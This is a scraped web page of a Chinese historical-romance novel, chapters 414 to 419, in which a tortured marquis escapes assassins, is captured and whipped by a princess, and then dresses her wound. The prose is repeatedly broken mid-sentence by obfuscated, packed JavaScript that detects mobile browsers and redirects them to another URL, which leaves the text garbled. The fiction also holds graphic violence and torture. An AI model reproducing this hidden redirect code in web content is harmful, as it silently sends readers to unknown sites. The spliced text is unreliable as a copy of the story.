;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“那个徐秀才,在镇上包揽诉讼,心黑手辣,还跟方师爷是穿一条裤子的。你这等于是从他们嘴里抢食吃,他们能不恨你?”**子忧心忡忡,“这两人,明面上不敢动你,毕竟你现在名声在外,县太爷都赏过你。可暗地里使绊子,有的是法子让你不得安生。” 第414章 淬骨新生 阿禾静静地听着,手指无意识地摩挲着茶杯边缘。 她早就料到会有这么一天。 一个栖霞镇,就这么大点地方。 靠着一张嘴,一颗心,能赚几个辛苦钱? 终究不是长久之计。 她看向**子,忽然问了个毫不相干的问题。 “黑哥,你常在码头混,可知海贸的门道?” **子的脸色瞬间就变了。 他连连摆手,头摇得像拨浪鼓,“阿禾姑娘,这可使不得!万万使不得!” 他凑近了,声音压得比蚊子还低: “栖霞镇靠海,这海上的买卖,利润比天还大,可也比刀子还凶!全被青龙帮和海沙帮那群亡命徒把持着,别说咱们这些平头百姓,就是县衙里的官差,见了他们都得绕道走!” “我也就是给他们跑跑腿,送送信,才认识里头几个小喽啰。这里边的水深不见底,沾上一点,骨头渣子都剩不下!” “听我的劝,咱千万别碰!” 谁知眼前的姑娘却似乎丝毫不为所动,只是嘴角的微笑愈发深了。 …… 冬日的晨曦,总是来得吝啬。 天边泛起一层鱼肚白,农家小院的空气里凝着一层能刺透骨头的寒霜。 一道身影,就在这片霜白中展动起来。 裴应见赤着上身,仅着一条单裤,手中握着一根随手折下的枯枝。 他没有用内力,只是最纯粹的招式,一遍又一遍。 枯枝在他手中,却比百炼的精钢还要锋利,每一次挥出,都带着撕裂空气的尖啸。 他身上的伤疤新旧交错,狰狞地盘踞在他瘦削却坚实的身躯上,像一张刻在皮肉上的可怖地图。 那些被烙铁烫出的圆形疤痕,被鞭子抽出的条状凸起,还有无数细密的、不知被何种刑具留下的伤口,在清冷的晨光下,无声地诉说着他曾经历过的地狱。 青义端着一盆热水出来,正好看见这一幕,脚步蓦地顿住,眼眶瞬间就红了。 云承月从屋里走出来,拍了拍他的肩膀,目光落在裴应见身上,眼神里除了叹息,更多的是一种连他自己都未曾察觉的惊异。 侯爷的武功路数,似乎和从前不大一样了。 从前的裴应见,武功大开大合,是少年纵横,加上家传绝学淬炼出的霸道与刚猛。 可如今,他的每一招都内敛到了极致,没有半分多余的动作,却招招都透着一股玉石俱焚的死气,狠厉,且刁钻。 就好像……他将自己经历过的所有痛苦,都熔炼进了这身筋骨里。 前尘为炉,淬骨新生。 …… “京城里都传遍了。”屋子里,烧着一盆炭火,发出毕剥的轻响。 青义的声音压得很低,带着几分愤懑,又夹杂着一丝古怪。 “都说……都说镇国侯不堪安乐郡主折辱,早已死在了郡主府的暗牢里,尸骨被拖去乱葬岗,喂了野狗。” 裴应见正用布巾擦拭着身上的薄汗,听到这话,动作没有丝毫停顿。 他甚至没有回头,只是淡淡地“哦”了一声,尾音微微上挑,听不出情绪。 “皇帝呢?” “听闻皇帝在朝堂上,还为此‘感叹’了一番。说您少年成名,本是国之栋梁,奈何误入歧途,辜负圣恩。念在您曾为大周立下汗马功劳,功过相抵,恩准……恩准下面的人若是寻到了尸骨,便按庶人礼,寻个地方葬了。” 话音落下,屋子里一片死寂。 青义紧张地看着裴应见的背影,生怕他怒火攻心,引动旧伤。 可等了半晌,他却只听到一声极轻的嗤笑。 那笑声里,淬满了冰渣,带着浓得化不开的嘲弄。 裴应见转过身,脸上没什么表情,可那双幽深的眸子,却比窗外的寒冬还要冷。 “庶人礼……他还真是慈悲。” 云承月将一碗刚熬好的药递过去,沉声道:“如此一来,他们便不会再费力寻你的‘尸骨’。你**,对所有人都好。这对我们而言,是最好的掩护。” 裴应见接过药碗,仰头一饮而尽,眉头都没皱一下。 “京城不能久留。”他将空碗放在桌上,发出一声轻响,“这里的势力盘根错节,我们如今的人手太弱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他知道,云承月口中的“那个女人”,指的是如今风头正盛,被全京城当做煞神般畏惧的安乐郡主——秦月娘。 她曾将侯爷踩在脚下,肆意欺辱。 她也是皇帝和那个轮椅怪人手里最锋利的一把刀。 这笔账,侯爷一定会亲手去算。 …… 夜色如一匹厚重无光的黑绸,将农家小院裹得密不透风。 枯瘦的树杈上,姜飞飞像一只敛了气息的夜枭,与阴影融为一体。 她的目光,穿透薄薄的窗纸,落在屋里那几道跪拜后又悄然离去的背影上。 人手……他果然还有后手。 姜飞飞的指甲深深掐进树皮里,心头涌上一股夹杂着嫉恨与兴奋的寒意。 她本以为裴应见已是条断了脊梁的死狗,任谁都能踩上一脚。 可现在看来,这条狗不仅没死,还在悄悄磨砺他那足以撕裂一切的獠牙。 很好。 她要的就是一条会咬人的疯犬。 一条能将秦月娘、将萧玦……将所有将她**于股掌之间的人,都拖入血水泥潭的疯犬! 只有他们斗得越凶,她这条被铁链拴着的“玩物”,才有机会寻到那一线生机,彻底挣脱。 她正盘算着如何不动声色地递些消息过去,将火烧得更旺些,眼角的余光却猛地一跳。 数道黑影如从地底冒出的鬼魅,悄无声息地贴着院墙的阴影摸了过来。 动作整齐划一,落地无声,身上散发出的,是只有在**堆里才能浸染出的血腥气。 姜飞飞的心脏骤然缩紧。 是萧玦的人! 她认得那种走路的姿态,那种协同进攻的阵法,那是萧玦手底下最精锐的“影卫”。 她下意识地屏住呼吸,将自己更深地藏入枝叶的暗处。 她想看看,这条刚从鬼门关爬回来的疯犬,还剩下几分力气。 …… 屋子里,裴应见刚送走最后一名暗棋,正垂眸看着桌上的灯火,火苗在他深不见底的瞳孔里跳动。 云承月正在收拾药箱,青义则在擦拭一把长刀。 毫无征兆地,一股尖锐的杀气穿窗而入! “叮!” 裴应见头也未抬,屈指一弹,一枚茶杯盖便如离弦之箭,精准地撞飞了那支射向他眉心的淬毒短矢。 下一瞬,窗户与木门同时爆碎! 七八道黑影如跗骨之蛆,携着森然刀光,从四面八方扑杀而至! “侯爷小心!”青义睚眦欲裂,横刀便要挡在身前。 可他快,裴应见比他更快。 只见裴应见的身形没有半分后退,反而如鬼魅般向前踏出一步,侧身避开正面劈来的三柄长刀,手肘顺势狠狠撞在左侧一人的下颌上。 只听“咔嚓”一声脆响,那人连惨叫都未发出,脖颈便以一个诡异的角度折断,软软倒地。 整个过程,快得像一道错觉。 裴应见甚至没有去看那具尸体,他的身形如游鱼般在刀光剑影的缝隙中穿行,手指、手肘、膝盖、脚尖……他身体的每一处都化作了最致命的武器。 没有繁复的招式,只有最简单、最直接的杀戮。 一拳,洞穿心口。 一脚,踢碎喉骨。 鲜血如泼墨般洒在残破的墙壁上,浓重的腥气瞬间充斥了整个屋子。 不过十数个呼吸的功夫,方才还杀气腾腾的影卫,已尽数化作了冰冷的尸体,横七竖八地倒在地上,每个人脸上都凝固着死前的惊骇与不解。 裴应见站在尸体中央,胸口微微起伏,脸色因牵动旧伤而泛起一丝病态的苍白,可那双眼睛却亮得吓人,里面翻涌着的是地狱般的业火。 树上,姜飞飞看得浑身发冷。 她知道裴应见很强,却没想到重伤至此,他竟比从前还要可怕。 这已经不是武功,而是纯粹的**术! 她悄无声息地隐没在更深的夜色里,心中那点想要挑拨的念头,被一股更深的忌惮压的摇摆起来。 这条疯犬……似乎比她想象的,还要难以掌控。 …… 安乐郡主府,萧玦的书房里,暖意融融。 听完唯一一个侥幸逃回的影卫颤抖的汇报,他非但没有像往常那般暴怒,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226157|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而低低地笑了起来。 “都有趣,当真有趣。” 他用一方雪白的丝帕,慢条斯理地擦拭着一柄玉质的**,语调轻快得像在谈论一场精彩的戏文。 “连我亲手调教出的影卫,都成了他的下酒菜……裴应见,你究竟还藏着多少惊喜?” 跪在地上的影卫冷汗涔涔,将头埋得更低,不敢接话。 他已经做好了被处死的准备。 “下去吧。”萧玦挥了挥手,竟是看也未看他一眼。 影卫如蒙大赦,连滚带爬地退了出去,心中却掀起了惊涛骇浪。 主子……变了。 从前,任务失败的下场只有一个,那就是死。 可现在…… “传我的令。”萧玦的声音幽幽传来,带着一丝兴奋的残忍,“换‘血蝠’去。” “告诉他们,我不要尸体。” 他抬起头,看向窗外沉沉的夜色,嘴角的笑意愈发诡异。 “我要活的。” “把他……完完整整地,带到我面前来。” 这盘棋,若是对手太弱,可就不好玩了。 …… 屋子里的血腥气浓得像是化不开的墨,混杂着木头碎裂的朽气,钻进人的鼻腔,令人作呕。 裴应见站在一地尸骸中央,连眼皮都未曾撩拨半分。 他身上的热气已经散去,只余下那双眸子里的寒意,比屋外凝结的冰霜还要刺骨。 “走。” 他吐出这字,声音不大,却带着金石般的决断。 “望之,你的伤……”云承月上前,话还未说完,便被裴应见抬手打断。 “这里已经暴露,很快就会有更大的麻烦。” 裴应见侧过脸,目光落在墙角处,那里,一道瘦削的身影正躺在床板上,一动不动。 是青川。 他嘴不能言,浑身是伤,一双眼睛里满是死志。 他知道自己是拖累,他已经做好了被抛弃的准备。 可裴应见并不这么想。 他一个示意,青义立刻二话不说,过去将青川背在自己身上,又抄起了那把沾了血的长刀。 第416章 现在你是我的了 夜色深沉,寒风如刀。 三人舍弃了所有不必要的行囊,如三道虚影,迅速没入了村外那片黑漆漆的林子里。 林中寂静无声,只有脚踩在枯枝败叶上发出的“咔嚓”声,在死寂的夜里显得格外清晰。 青义背着青川,每步都走得极为沉重,呼吸也渐渐粗重起来。 裴应见在前开路,他的感官被放到最大,周遭的风吹草动,都逃不过他的耳朵。 他们必须在天亮前,赶到预定的接应点,换马出京畿地界。 可麻烦,终究比晨曦来得要快。 就在他们穿过片稀疏的林地,前方是条通往官道的小径时,裴应见的脚步蓦地顿住。 他猛地抬头,看向头顶交错的树冠。 那里什么都没有,只有被风吹得摇曳的枝杈,像鬼魅的爪牙。 可那股被毒蛇盯上般的阴冷感,却从四面八方涌来,将他们牢牢锁定。 “唰——唰唰——” 怪异的破空声响起! 不是箭矢,也不是暗器,那声音轻微而密集,像是大群的蝙蝠在夜间振翅。 七八道黑影,竟是从天而降! 他们穿着紧身的黑衣,脸上戴着狰狞的蝙蝠面具,手中握着两柄状如蝠翼的弯刃,动作协同得如同体。 落地无声,甫接触地面,便化作数道黑线,直扑队伍最弱的环——青义背上的青川! “小心!”云承月脸色骤变,失声低呼。 裴应见眼中杀意暴涨,身形不退反进,赤手空拳迎了上去。 他的身体像张拉满的弓,每拳,每脚,都带着崩裂山石的气力。 一名血蝠试图用弯刃格挡,却被裴应见拳直接轰碎了护心镜,连带着胸骨塌陷下去,口中喷出的血雾在寒夜里触目惊心。 可这些血蝠悍不畏死,甚至对同伴的惨死视若无睹。 他们像闻到血腥味的鬣狗,攻势连绵不绝,配合默契至极。 一人主攻,两人从旁袭扰,总有人在寻找机会,攻击青义和青川。 裴应见以一人之力,硬生生扛下了大半的攻势,可他旧伤未愈,方才又力战影卫,体力消耗极大。 他的动作依旧快,狠,准,可呼吸却已有了几分紊乱。 青义和云承月背靠背,将青川护在中间,也是险象环生。 就在僵持不下之时,一道带着慵懒笑意的声音,毫无征兆地从不远处的树林中传来。 “啧啧,真是精彩。” 那声音不大,却清晰地传入每个人耳中,带着居高临下的玩味。 所有血蝠的动作齐齐顿,然后如潮水般退开,单膝跪地,头颅低垂。 林间的空地上,只剩下喘着粗气的裴应见方,和满地的血腥。 一道带着面具坐着轮椅的身影,缓缓从树影中滑出。 月光下,他着身锦绣华服,手里把玩着一柄玉质的**,脸上挂着温和的笑意,仿佛不是来**,而是来赴场风雅的夜宴。 正是那个大宅里的奇怪面具男人。 “裴应见,”他看着裴应见身上又添的新伤,眼神里满是赞叹,“你这只打不死的蟑螂,真是每次都能给我带来新的乐子。” 裴应见没有说话,只是死死地盯着他。 “你的招式里,全是恨。”萧玦缓步上前,像是完全没把裴应见的杀气放在眼里,“可惜,光有恨,是杀不了人的。它只会……先烧死你自己。” 话音未落,他的身形陡然消失在原地! 裴应见瞳孔骤缩,几乎是凭着本能,拳轰向左侧。 可那里空无物。 “太慢了。” 萧玦的声音,鬼魅般在他耳后响起。 “噗嗤!” 裴应见身体剧震,他缓缓低头,看见自己的小腹处,那柄雪亮的玉质**,已没入半截。 剧痛如山崩海啸,瞬间淹没了他所有的气力。 他双膝软,就要跪倒在地。 “侯爷!”青义目眦欲裂,嘶吼着便要冲上来。 “别动。”萧玦轻笑着,手按在裴应见的肩上,将他稳住,**却又往里送了分,“再动,我就把他这颗心,也挖出来瞧瞧。” 就在这刻,远处官道上,忽然传来阵嘈杂的人声与火光。 “前面林子里有动静!快过去看看!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226158|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“官府办案!闲杂人等速速回避!” 不知从哪里来了一队衙差,听到动静往这边赶来。 萧玦的眉头不悦地皱了起来。 他最厌恶这种计划之外的意外。 就是这皱眉的功夫。 裴应见突然爆起,一掌拍向面前的萧玦。 “走!”他朝云承月等人低喝。 但血蝠们哪里会轻易放他们离开。 千钧一发之际,云承月猛地从怀中甩出大把灰白色的粉末,那粉末遇风即散,化作呛鼻的浓雾,瞬间笼罩了这片区域。 青义毫不犹豫,背起青川,发疯般地冲向了与官道相反方向的密林深处。 萧玦被那粉末呛得咳嗽了两声,眼中闪过恼怒,却也没去追。 他躲开裴应见的攻击,反手给了他一掌。 砰! 裴应见飞了出去,重重倒在地上。 萧玦滑动轮椅慢慢走过去,然后抬起好的那只脚,重重踩在他的背上,将他牢牢地钉在地上,动弹不得。 嘴角的笑意愈发诡异森然。 “小喽啰跑了就跑了。” “现在,你是我的了。” …… 安乐郡主府。 熏香的暖气将窗外的寒冬尽数隔绝,兽首铜炉里吐出缭绕的青烟,将满室的奢靡熏染得如同仙境。 秦月娘跪坐在柔软的波斯地毯上,褪下了半边罗裳。 雪白的肌肤上,一道半尺长的伤口从她腰侧蜿蜒而下,皮肉外翻,深可见骨。 那是被一种带着倒刺的兵刃所伤,伤口处理起来极为麻烦。 她刚从一场九死一生的任务中回来。 她垂着眼,神情没有半分波动,正用镊子小心翼翼地夹出嵌在血肉里的最后一枚倒刺。 豆大的汗珠从她额角滑落,滴在地毯上,洇开一小片深色。 她甚至没有发出一丝痛哼。 “砰——” 雕花木门被人从外面一脚踹开,巨大的声响震得梁上尘埃簌簌而下。 秦月娘夹着倒刺的手猛地一颤,那枚带血的铁器掉落在托盘里,发出清脆的撞击声。 第417章 一些更有趣的 她甚至来不及拉上衣衫,便看到萧玦含笑的脸。 他身后,还跟着两个影卫,拖着一个血肉模糊的人。 “送你个玩意儿。” 萧玦语调轻快,仿佛不是闯入女子闺房,而是随手丢了件新奇的摆设。 那两个影卫得了示意,毫不留情地将手里的人往前一扔。 那人重重地摔在秦月娘面前的地毯上,发出一声沉闷的落地声,牵动了满身的伤口,压抑的闷哼从他喉间溢出。 秦月娘的瞳孔,在那一瞬间,缩成了针尖。 是裴应见。 不过半月未见,他怎么又变回了这副任人宰割的模样。 她面上不动声色,缓缓拉起衣衫遮住伤口,动作从容得仿佛什么都未发生。 她只是看着萧玦,声音平淡地问:“主人,他怎么会在这里?” “他?”萧玦轻笑出声,慢慢滑到她身边,伸出手指,用指腹慢条斯理地抹去她额角的汗珠,眼神里却满是兴味盎然的残忍,“我好心放他一条生路,他却不识好歹,非要疯狗似的掉头回来咬我。” “你说,这可怎么办才好?” 秦月娘的心,沉入了谷底。 刺杀萧玦? 裴应见他不是该离开京城了吗,这到底是怎么回事? 她心中惊涛骇浪,面上却不敢表露分毫。 萧玦饶有兴致地观察着她的表情,似乎很满意她这份波澜不惊的驯服。 他忽然俯下身,凑到她耳边,温热的气息带着血腥味,钻进她的耳朵里。 “我改主意了。” “杀了他,太便宜他了。我想看点更有趣的……你知道该怎么做吧?” 他的声音很轻,却像淬了毒的蛇信,舔舐着秦月娘的理智。 秦月娘的身体僵了片刻。 随即,她顺从地垂下头,朝着萧玦跪了下去,额头贴着冰凉的地砖。 “回主人,裴应见这狗奴才,胆敢冒犯主人天威,罪该万死。”她的声音,比地砖还要冷硬,听不出一丝情绪,“奴婢以为,当将其锁于地牢,日日施以酷刑,断其筋骨,毁其心志,让他求生不得,求死不能,方能泄主人心头之恨。” “哈哈……好,很好。” 萧玦满意地笑了起来,直起身子,用那双擦过她汗珠的手,轻轻拍了拍她的脸颊,像在安抚一只听话的宠物。 “那便交给你了。” “别让我失望。” 说罢,他再不看地上那个奄奄一息的人,转身带着影卫离去。 木门再次合上,将内外隔绝成两个世界。 屋子里,一时间静得可怕。 只剩下熏香燃烧的“滋滋”声,和地上男人粗重而痛苦的喘息。 回来的路上,萧玦给他又加了点料。 此刻裴应见被剧痛折磨得神智有些涣散,却依然强撑着,没有昏死过去。 他偏过头,视线正好落在那个跪在地上的女人身上。 她的背影纤细,却透着股令人心悸的冷漠。 方才她说的每一个字,都像烧红的烙铁,狠狠烫在他的心上。 他看着她,眼神复杂到了极点。 有滔天的恨意,有刻骨的厌恶,还有……连他自己都理不清的一丝迷茫。 秦月娘没有理会他的注视。 她缓缓地,从地上站了起来,仿佛刚才那个卑微到尘埃里的女人不是她。 她没有走向他,既没有如她所言那般将他拖去地牢,也没有给他哪怕一个多余的眼神。 她只是平静地转身,走回了原来的位置,重新跪坐下来。 然后当着他的面,再一次拉开了自己腰侧的衣衫。 那道狰狞的伤口,就这么赤裸裸地暴露在空气里,也暴露在裴应见的视线中。 她重新拿起那把带血的镊子,对着铜镜继续方才未完的动作,仿佛这屋子里,除了她自己,再无旁人。 一时之间,满室的暖香里,混杂进两种血的味道。 一种是他的,带着尘土与败亡的气息。 一种是她的,带着一丝若有似无的、奇异的冷香。 杀意与暧昧,绝境与诡谲,在这方寸之地,交织成一张无声的网。 铜镜里映出的那道伤 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这声音,这张脸…… 裴应见的头颅猛地炸开一阵剧痛,像有无数根钢针在他的脑仁里搅动。 就是这张脸,在他被废、沦为阶下囚时,带着高高在上的恶意,将一碗馊饭掷在他的脚边。 就是这声音,在他被烙铁烫得皮开肉绽时,娇笑着问他:“裴侯爷,这滋味,可还受用?” …… 记忆是如此清晰,恨意是如此真切。 可为什么……为什么在那片被血色浸染的记忆深处,似乎还藏着别的什么东西? 一抹模糊的笑颜,一个抓不住的名字…… 那些碎片像隔着一层浓雾,他越是想看清,头就痛得越厉害,仿佛要当场裂开。 他死死咬着牙,额角青筋暴起,喉咙里发出一声压抑的闷哼,却没回答她的问题。 秦月娘见他这副半死不活的样子,眼中的兴味忽然消散,取而代之的是愈发浓重的不耐烦。 第418章 你的伤 她走上前,一把揪住他被血污黏住的头发,动作粗暴地将他从地上拖拽起来。 “主人没耐心看你这副要死的样子。” 她拖着他,穿过一道暗门,走进了一间密室。 一股浓重的、混杂着铁锈与陈年血腥的气味扑面而来,呛得人几欲作呕。 密室里没有窗,四壁挂满了各式各样、奇形怪状的刑具,在墙角一盏油灯的幽光下闪烁着森冷的光。 砰。 她将他甩在地上,像丢弃一件垃圾。 裴应见重重撞在墙角的刑具架上,引发一阵“哗啦”的金属碰撞声,也牵动了他满身的伤,痛得他眼前阵阵发黑。 秦月娘居高临下地看着他,嘴角勾起一抹恶毒的弧度。 “主人说了,杀你太便宜。他喜欢看人一点点被剥掉骨头上的肉,看着希望变成绝望。” 她伸出那只没受伤的手,用指尖轻轻划过一排带着倒钩的铁爪,声音轻柔得像情人的呢喃。 “我们有的是时间慢慢玩。” “挑一个吧,你喜欢哪样?” 裴应见靠着墙壁,剧烈地喘息着,脑中的剧痛与身上的伤痛交织在一起,让他连看清眼前事物的力气都没有。 他只是凭着本能,死死地盯着眼前女人的脸,试图从那张冰冷的面具下,找出那丝让他心神不宁的违和感。 他的沉默似乎彻底激怒了秦月娘。 “不挑?”她冷笑一声,“那我便替你选了。” 她随手从墙上摘下一条九节鞭,鞭梢上缀满了细小的铁刺。 她走到他面前,眼中的情绪复杂难辨,有厌恶,有烦躁,还有一丝她自己都未曾察觉的别的情绪。 “既然你这么想死,我就先断了你的筋骨,看你还怎么寻死!” 话音未落,她扬起手,手腕一抖,那条淬着寒光的长鞭便带着撕裂空气的尖啸,狠狠抽向裴应见的背脊。 “啪——!” 皮开肉绽的声音,在死寂的密室里显得格外刺耳。 “呃啊——!” 裴应见发出一声野兽般的痛嚎,整个身体猛地弓起,剧痛让他涣散的神智有了一瞬间的清明。 可就在这一鞭挥出的瞬间,秦月娘的动作也猛地一僵。 她忘了,她腰侧的伤口才刚刚缝合。 方才那一下发力,直接将新缝的伤处再度撕裂。 一抹殷红,迅速透过纱布,在她月白色的衣衫上洇开。 她疼得倒抽一口凉气,脸色瞬间白了几分。 而这边,极致的痛楚中,裴应见抬起头,布满血丝的眼睛,恰好捕捉到她衣衫上那点刺目的红。 几乎是脱口而出,一道沙哑到完全变了调的声音,从他干裂的唇间溢出: “你的伤……” 鞭子还握在秦月娘的手中。 她正要挥出第二下。 却在看到裴应见痛苦到极致的神情时突然顿住。 不知为何,这个瞬间,她突然想起那些他匍匐在她脚边,眼里心里都只有她一个人的时候。 那时候,他奉她为天,哪怕是来自她的恶毒折磨,他也甘之如饴。 那个时候,他也是这般痛苦的表情。 可这痛苦之下,却隐隐有着不可言说的欢愉。 此时此刻,她就突然有点想念那丝欢愉…… 而与此同时,她也感受到了伤口崩裂的痛楚,和从他唇边脱口而出的那三个字。 密室里突然陷入一片死寂。 油灯的火苗轻轻跳动了一下,将两人脸上同样错愕的神情投映在冰冷的墙壁上。 一个满身血污,狼狈如狗,眼中却带着自己都未曾察觉的关切。 一个手持凶器,冷酷如冰,脸上却写满了无法置信的惊愕与深深隐藏的眷恋。 时间,仿佛在这一刻凝固。 秦月娘心头瞬间燃起无名之火。 她所有的狠厉,所有的伪装,仿佛都在这一刻被戳破,露出底下那片刻的慌乱。 羞恼与惊怒瞬间冲上头顶。 他凭什么? 一个阶下囚,一个任她宰割的玩物,凭什么用那种眼神看她? 那种该死的,夹杂着关切的眼神,仿佛他们之间不是不死不休的仇敌,而是别的什么。 “闭嘴!” 秦月娘厉声尖啸,那声音因情绪剧烈波动而带上了一丝破音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那个魂魄不全,痴傻如孩童的他,那个时候,他眼里心里都只有她一个。 她让他跪,他便跪;她让他笑,他便笑。 哪怕她用烙铁烫他,用鞭子抽他,他也会在事后,像小狗一样凑过来。 第419章 救她 他小心翼翼地舔舐她的手指,眼里的爱慕与依恋,浓得化不开。 可现在呢? 他的眼睛是那么的清醒,那么的真实。 可又那么的陌生。 心口猛地一抽,一股难以言喻的酸涩与悲凉涌了上来,竟比腰上的伤口还要痛。 这是一种什么样的感觉? 为何她从来没有过? 不知道从什么时候,就好像突然有一天,她似乎终于活过来一样。 突然开始有了各种各样从前从未有过的感觉,尽管那些感觉是痛,是酸,是黑暗,是毁灭。 但却是那么的真实。 她不知道这是为什么,这种感觉让她一开始很慌乱,后来又很迷恋。 尤其是在她察觉到这些感觉常常都和眼前这个男人有关的时候。 她知道,在她心里,他和别人终究不同了。 秦月娘甩了甩头,想把这荒唐的情绪甩出去,手里的鞭子却再也举不起来。 力气像是被瞬间抽空了。 她身子一晃,接着眼前彻底被黑暗吞噬。 哐当—— 九节鞭脱手落地,发出一声刺耳的脆响。 紧接着,是身体倒地的闷响。 这声音,终于让沉浸在痛苦与回忆中的裴应见惊醒过来。 他费力地睁开被血糊住的眼睛,视野里一片猩红。 他看到那个方才还如地狱罗刹般的女人,此刻正悄无声息地倒在他的脚边,一动不动。 她月白色的衣衫腰侧,那片扩大的红,刺眼得像雪地里盛开的血色梅花。 裴应见挣扎着,用手肘撑起上半身爬了过去。 每移动一寸,身下的地砖便多一道蜿蜒的血痕。 他终于爬到她身边,伸出那只还在发颤的手,探向她的鼻息。 还有气,但很微弱。 他松了口气。 看着她苍白如纸的脸,看着她紧蹙的眉头,鬼使神差地,他用尽全身的力气,将她从冰冷的地面上抱了起来。 他踉跄着,走出这间充满了血腥与绝望的密室,回到了那间尚有暖香的屋子。 他将她放在了那张她之前坐过的软榻上。 环顾四周,目光落在了那个她用过的药箱上。 打开箱子,看着里面的纱布、药粉、银剪……他那双沾满血污和伤痕的手,在拿起那些精巧的物什时,竟显得有些笨拙。 他回到榻边,单膝跪下,像一个最虔诚的信徒。 他学着她之前的样子,用剪刀,小心翼翼地剪开她腰侧被血浸透的衣料。 当那道重新迸裂、血肉模糊的伤口完整地暴露在他眼前时,这个在酷刑下都未曾皱眉的男人,眼瞳却狠狠地缩了一下。 皮肉外翻,新缝的银线被生生扯断,几根还嵌在嫩红的血肉里,随着她微弱的呼吸轻轻颤动。 裴应见的喉结狠狠滚动了一下。 他背上被鞭子抽出的伤口,火烧火燎地疼,小腹的创口也像有无数蚂蚁在啃噬,可这一切,似乎都比不上眼前这道伤口带给他的冲击。 恨意还在。 那股被她**于股掌之间,被她用最恶毒的言语和最残酷的手段折磨的记忆,依然清晰如昨。 可他的手,却已经沾了温水,拧干了布巾,小心翼翼地擦拭着她伤口边缘的血污。 他的动作因为脱力而显得有些粗鲁,好几次都牵动了她皮肉里的断线,让她在昏迷中发出一声细微的蹙眉呻吟。 每当这时,他的动作就会猛地一顿,仿佛被无形的鞭子抽了一下,连呼吸都停滞半晌。 为什么? 他一边清理,一边在心里问自己。 为什么要救这个蛇蝎心肠的女人? 脑海里,她方才挥鞭时的狠厉与眼中的恶毒,与此刻她苍白脆弱的睡颜,交叠在一起,形成一种让他几欲发狂的割裂感。 恨她,是理所当然。 可此刻这不受控制的、想要靠近她、碰触她、为她抚平伤痛的冲动,又是什么? 他拿起药箱里的镊子,那只曾经被她握在手中的、沾着她血的镊子。 他的指尖在冰凉的金属上微微一顿。 随即,他俯下身,凑得更近了。 女子的体香,混着血的腥甜与药草的清苦,像一张无形的网将他笼罩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231817|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他能看清她脸上细小的绒毛,看清她因失血而毫无血色的唇,看清她紧闭的眼睫下那一片青色的阴影。 这张脸,分明是刻骨的仇人。 可她的眉眼分明又有一种说不出的熟悉。 裴应见的头颅又开始剧痛,仿佛有什么东西要冲破桎梏,却被更强大的力量死死压制。 他闷哼一声,额角冷汗涔涔,手里的镊子险些掉落。 他死死咬住牙关,强迫自己将注意力重新集中在手中的活计上。 他用镊子,一根一根,将那些嵌在血肉里的断线夹出来。 这个过程需要极致的稳定与耐心。 他自己的血顺着手臂的伤口滑落,滴在他跪着的膝边,与她的血混在一起,再也分不清彼此。 他忽然想起,她为自己处理伤口时,也是这般冷静,仿佛感觉不到疼痛。 可她明明是疼的。 那撕裂的伤口,那洇开的血迹,做不得假。 那她为何能忍住? 一个念头像毒草的藤蔓,悄然缠上他的心脏。 她是不是……也习惯了疼痛? 这个念头让他心口一窒,手下的动作愈发轻柔。 取出断线,撒上金疮药,再覆上干净的纱布。 他动作轻缓,用绷带一圈圈地,将她纤细的腰肢缠绕起来。 指腹不可避免地,一次又一次,划过她细腻光滑的肌肤。 那触感温热而柔软,像上好的暖玉。 每一次碰触,都像一道微弱的电流,从他粗糙的指尖,一路窜进四肢百骸,让他僵硬的身体生出一丝战栗的酥麻。 恨意与这陌生的、不该有的悸动,在他体内疯狂地冲撞、撕扯。 他终于包扎好了。 